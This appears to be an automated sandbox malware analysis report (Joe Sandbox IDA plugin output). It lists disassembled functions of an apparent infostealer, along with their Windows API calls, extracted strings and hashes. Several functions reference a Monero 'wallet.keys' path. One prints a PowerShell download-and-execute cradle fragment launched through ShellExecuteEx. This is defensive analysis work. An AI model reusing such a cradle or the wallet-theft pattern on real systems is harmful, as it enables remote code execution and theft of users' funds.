Instruction Fuzzy Hash: CB3152B691020CA7CB64F7A0DC85FFE737CAB98700F404989B31996091EEB4D6C98B95

Function 009F2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

Part of subcall function 009FA9B0: lstrlen.KERNEL32(?,013B8BA0,?,\Monero\wallet.keys,00A00E17), ref: 009FA9C5
Part of subcall function 009FA9B0: lstrcpy.KERNEL32(00000000), ref: 009FAA04
Part of subcall function 009FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 009FAA12

Part of subcall function 009FA920: lstrcpy.KERNEL32(00000000,?), ref: 009FA972
Part of subcall function 009FA920: lstrcat.KERNEL32(00000000), ref: 009FA982

Part of subcall function 009FA8A0: lstrcpy.KERNEL32(?,00A00E17), ref: 009FA905

ShellExecuteEx.SHELL32(0000003C), ref: 009F2D85

Strings

')", xrefs: 009F2CB3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 009F2CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 009F2D04
<, xrefs: 009F2D39

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: bdd8892b12d404737b64f86a6d6e3dd43819624a4cd4000e0d409fda0daf2560
Instruction ID: dd68069fc90e05308d4c63021c77f11b73846e97cc057e6ddde78c788115707a
Opcode Fuzzy Hash: bdd8892b12d404737b64f86a6d6e3dd43819624a4cd4000e0d409fda0daf2560
Instruction Fuzzy Hash: FD41DEB1C1020C9ADB14FBA0D891FFDB778AF50340F508529E60AB6195DFB46A4ACF95

Function 009E9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 009E9F41

Part of subcall function 009FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 009FA7E6

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

Strings

v20, xrefs: 009E9E21
@, xrefs: 009E9EF1
ERROR_RUN_EXTRACTOR, xrefs: 009E9E67
v10, xrefs: 009E9EA3

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 7fd7b61b614f23b814510594a2eef70a89741877e2aa803ede93bb4313ca5198
Instruction ID: a4d2412cd751410a9624f7ba339de1f8dae6cfd55a7c574b95324b7dac8ca5cd
Opcode Fuzzy Hash: 7fd7b61b614f23b814510594a2eef70a89741877e2aa803ede93bb4313ca5198
Instruction Fuzzy Hash: B6613D70A1024CEBDB24EFA5DC96FED7775AF85340F008518FA0A5B191EB746E06CB92

Function 009F6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 009F696C
sscanf.NTDLL ref: 009F6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 009F69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 009F69C0
ExitProcess.KERNEL32 ref: 009F69DA

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 17d1dbb232d87ecc6f432e4bb35f9d44c423cc1e7fdc54f50cf6bc0e20de2081
Instruction ID: f7c88c56ad898810eeea9a2be7d84991a68a886c51effb0223502d4cc43cee1c
Opcode Fuzzy Hash: 17d1dbb232d87ecc6f432e4bb35f9d44c423cc1e7fdc54f50cf6bc0e20de2081
Instruction Fuzzy Hash: 6521BAB5D1420DABCF14EFE4D945AEEB7B9FF48300F04852AE506E3250EB749605CB69

Function 009F7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 009F7E37
RtlAllocateHeap.NTDLL(00000000), ref: 009F7E3E
RegOpenKeyExA.ADVAPI32(80000002,013AB968,00000000,00020119,?), ref: 009F7E5E
RegQueryValueExA.ADVAPI32(?,013BD058,00000000,00000000,000000FF,000000FF), ref: 009F7E7F
RegCloseKey.ADVAPI32(?), ref: 009F7E92

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 02f06138fff38b358333d12940d01ec407fb7aa692641ea8db018d444cd32c1a
Instruction ID: 12030fba642e6abda3c07835d29880e4d7522a40f0a7ec895a018394ba16b9ec
Opcode Fuzzy Hash: 02f06138fff38b358333d12940d01ec407fb7aa692641ea8db018d444cd32c1a
Instruction Fuzzy Hash: 68118CB1A44209EBD714CFD4DD4AFBFBBB8EB08B10F10411AF705A7690D77858018BA1

Function 009F9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(013BDAA0,?,?,?,009F140C,?,013BDAA0,00000000), ref: 009F926C
lstrcpyn.KERNEL32(00C2AB88,013BDAA0,013BDAA0,?,009F140C,?,013BDAA0), ref: 009F9290
lstrlen.KERNEL32(?,?,009F140C,?,013BDAA0), ref: 009F92A7
wsprintfA.USER32 ref: 009F92C7

Strings

%s%s, xrefs: 009F92B5

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: ba840bbc01bbde31365793f3def5058cafc17425279a016dea39b572cabd1452
Instruction ID: c611e630df0855522565870bb7ba65a26649e9fe1c87019fdcd08b1889c4ba8a
Opcode Fuzzy Hash: ba840bbc01bbde31365793f3def5058cafc17425279a016dea39b572cabd1452
Instruction Fuzzy Hash: DA0104B5500208FFCB08DFECD988FAE7BB9EB48350F108548F9098B640CA31AA41DB91

Function 009E12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 009E12B4
RtlAllocateHeap.NTDLL(00000000), ref: 009E12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 009E12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 009E12F5
RegCloseKey.ADVAPI32(?), ref: 009E12FF

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: bd548097c6c1e85f017480c2602a83255c7ad369a16907291d7411364fda7931
Instruction ID: 57b873a9164fb87cbf991245edd3063a5e5a3feedd96edd5d1579019d637ee73
Opcode Fuzzy Hash: bd548097c6c1e85f017480c2602a83255c7ad369a16907291d7411364fda7931
Instruction Fuzzy Hash: 66011DB9A50208BBDB14DFE0DC49FAEB7B8FB48701F008159FA0597280D6719A018B51

Function 009F6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 009F6663

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

Part of subcall function 009FA9B0: lstrlen.KERNEL32(?,013B8BA0,?,\Monero\wallet.keys,00A00E17), ref: 009FA9C5
Part of subcall function 009FA9B0: lstrcpy.KERNEL32(00000000), ref: 009FAA04
Part of subcall function 009FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 009FAA12

Part of subcall function 009FA8A0: lstrcpy.KERNEL32(?,00A00E17), ref: 009FA905

ShellExecuteEx.SHELL32(0000003C), ref: 009F6726
ExitProcess.KERNEL32 ref: 009F6755

Strings

<, xrefs: 009F66D9

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 0b370ce0bff0fb3cd535763e995ee7a6801521d2ab89e1e5c6848ada719ef86d
Instruction ID: bdd57626d593f558c7b29ca8930b1255998050f2648821db4820f6f510b73e9f
Opcode Fuzzy Hash: 0b370ce0bff0fb3cd535763e995ee7a6801521d2ab89e1e5c6848ada719ef86d
Instruction Fuzzy Hash: F531FDF1811218ABDB54EB90DC95FEE7778AF44300F404199F30966191DFB46B89CF5A

Function 009F87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00A00E28,00000000,?), ref: 009F882F
RtlAllocateHeap.NTDLL(00000000), ref: 009F8836
wsprintfA.USER32 ref: 009F8850

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

Strings

%dx%d, xrefs: 009F8847

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 3bdc3a8c24c914be0f677d6d37b1e20401ff20b706e10bbc1afc3d99d1ab36e8
Instruction ID: 39856c79739bbd84612d761b7fa46b96acc32c66d0b392b0ea564e6560fc7096
Opcode Fuzzy Hash: 3bdc3a8c24c914be0f677d6d37b1e20401ff20b706e10bbc1afc3d99d1ab36e8
Instruction Fuzzy Hash: 95214FB5E50208AFDB14DF94DD49FAEBBB8FB48B01F104119F605A76C0C779A901CBA1

Function 009F8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,009F951E,00000000), ref: 009F8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 009F8D62
wsprintfW.USER32 ref: 009F8D78

Strings

%hs, xrefs: 009F8D6F

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 5e0a1ded90bf0a9126d28a232b0d0def58cd64a41befafb06e3887adcc5c3949
Instruction ID: 2aab4c59f68854f644855d119563bce45caeaf873a50a17157e553dcb23bde68
Opcode Fuzzy Hash: 5e0a1ded90bf0a9126d28a232b0d0def58cd64a41befafb06e3887adcc5c3949
Instruction Fuzzy Hash: F1E08CB0A50308BBD720DB94EC0AF6D77B8EB04702F004094FE0987680DA719E018B96

Function 009EA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

Part of subcall function 009FA9B0: lstrlen.KERNEL32(?,013B8BA0,?,\Monero\wallet.keys,00A00E17), ref: 009FA9C5
Part of subcall function 009FA9B0: lstrcpy.KERNEL32(00000000), ref: 009FAA04
Part of subcall function 009FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 009FAA12

Part of subcall function 009FA8A0: lstrcpy.KERNEL32(?,00A00E17), ref: 009FA905

Part of subcall function 009F8B60: GetSystemTime.KERNEL32(00A00E1A,013B9A98,00A005AE,?,?,009E13F9,?,0000001A,00A00E1A,00000000,?,013B8BA0,?,\Monero\wallet.keys,00A00E17), ref: 009F8B86

Part of subcall function 009FA920: lstrcpy.KERNEL32(00000000,?), ref: 009FA972
Part of subcall function 009FA920: lstrcat.KERNEL32(00000000), ref: 009FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 009EA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 009EA3FF
lstrlen.KERNEL32(00000000), ref: 009EA6BC

Part of subcall function 009FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 009FA7E6

DeleteFileA.KERNEL32(00000000), ref: 009EA743

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 79e7f86c2e9365a26e993668470722c6dfeab65f6ad53f0e9ecf6c2e668f4d41
Instruction ID: dcbe93bde13449cbde0539d693abdefdcfe9ed9b9e17e34f483688a8e1bafc6f
Opcode Fuzzy Hash: 79e7f86c2e9365a26e993668470722c6dfeab65f6ad53f0e9ecf6c2e668f4d41
Instruction Fuzzy Hash: 89E1D2B281010C9BDB15FBA4DC91FFE7338AF94340F508569F61A720A1EF706A49CB66

Function 009ED400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

Part of subcall function 009FA9B0: lstrlen.KERNEL32(?,013B8BA0,?,\Monero\wallet.keys,00A00E17), ref: 009FA9C5
Part of subcall function 009FA9B0: lstrcpy.KERNEL32(00000000), ref: 009FAA04
Part of subcall function 009FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 009FAA12

Part of subcall function 009FA8A0: lstrcpy.KERNEL32(?,00A00E17), ref: 009FA905

